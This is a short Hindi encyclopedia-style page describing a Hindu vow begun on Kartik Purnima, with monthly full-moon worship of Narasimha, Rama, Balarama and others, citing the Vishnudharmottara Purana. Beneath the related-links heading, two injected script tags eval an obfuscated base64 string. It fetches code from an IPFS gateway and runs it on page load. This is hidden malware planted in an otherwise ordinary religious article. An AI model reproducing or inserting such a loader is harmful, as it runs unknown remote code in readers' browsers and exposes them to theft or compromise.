- भारत में धार्मिक व्रतों का सर्वव्यापी प्रचार रहा है। यह हिन्दू धर्म ग्रंथों में उल्लिखित हिन्दू धर्म का एक व्रत संस्कार है।
- कृतिका नक्षत्र में पड़ने वाली कार्तिक पूर्णिमा को यह व्रत प्रारम्भ होता है।
- इस व्रत में नरसिंह भगवान का पूजन होता है।
- ब्राह्मण को चन्दन एवं तगर पुष्पों का दान दिया जाता है।
- मार्गशीर्ष की मृगशिरा-नक्षत्रयुक्त पूर्णिमा को राम की पूजा की जाती है।
- पुष्पयुक्त पौष पूर्णिमा को बलराम पूजन, माघी एवं मघी में वराह पूजन, फाल्गुनी एवं फाल्गुनियों (नक्षत्रों) में नर एवं नारायण की पूजा आदि और यह क्रम श्रावण पूर्णिमा तक चलता है।[1]
टीका टिप्पणी और संदर्भ
- ↑ विष्णुधर्मोत्तरपुराण (3|214|1-26)।
अन्य संबंधित लिंक
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
|
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>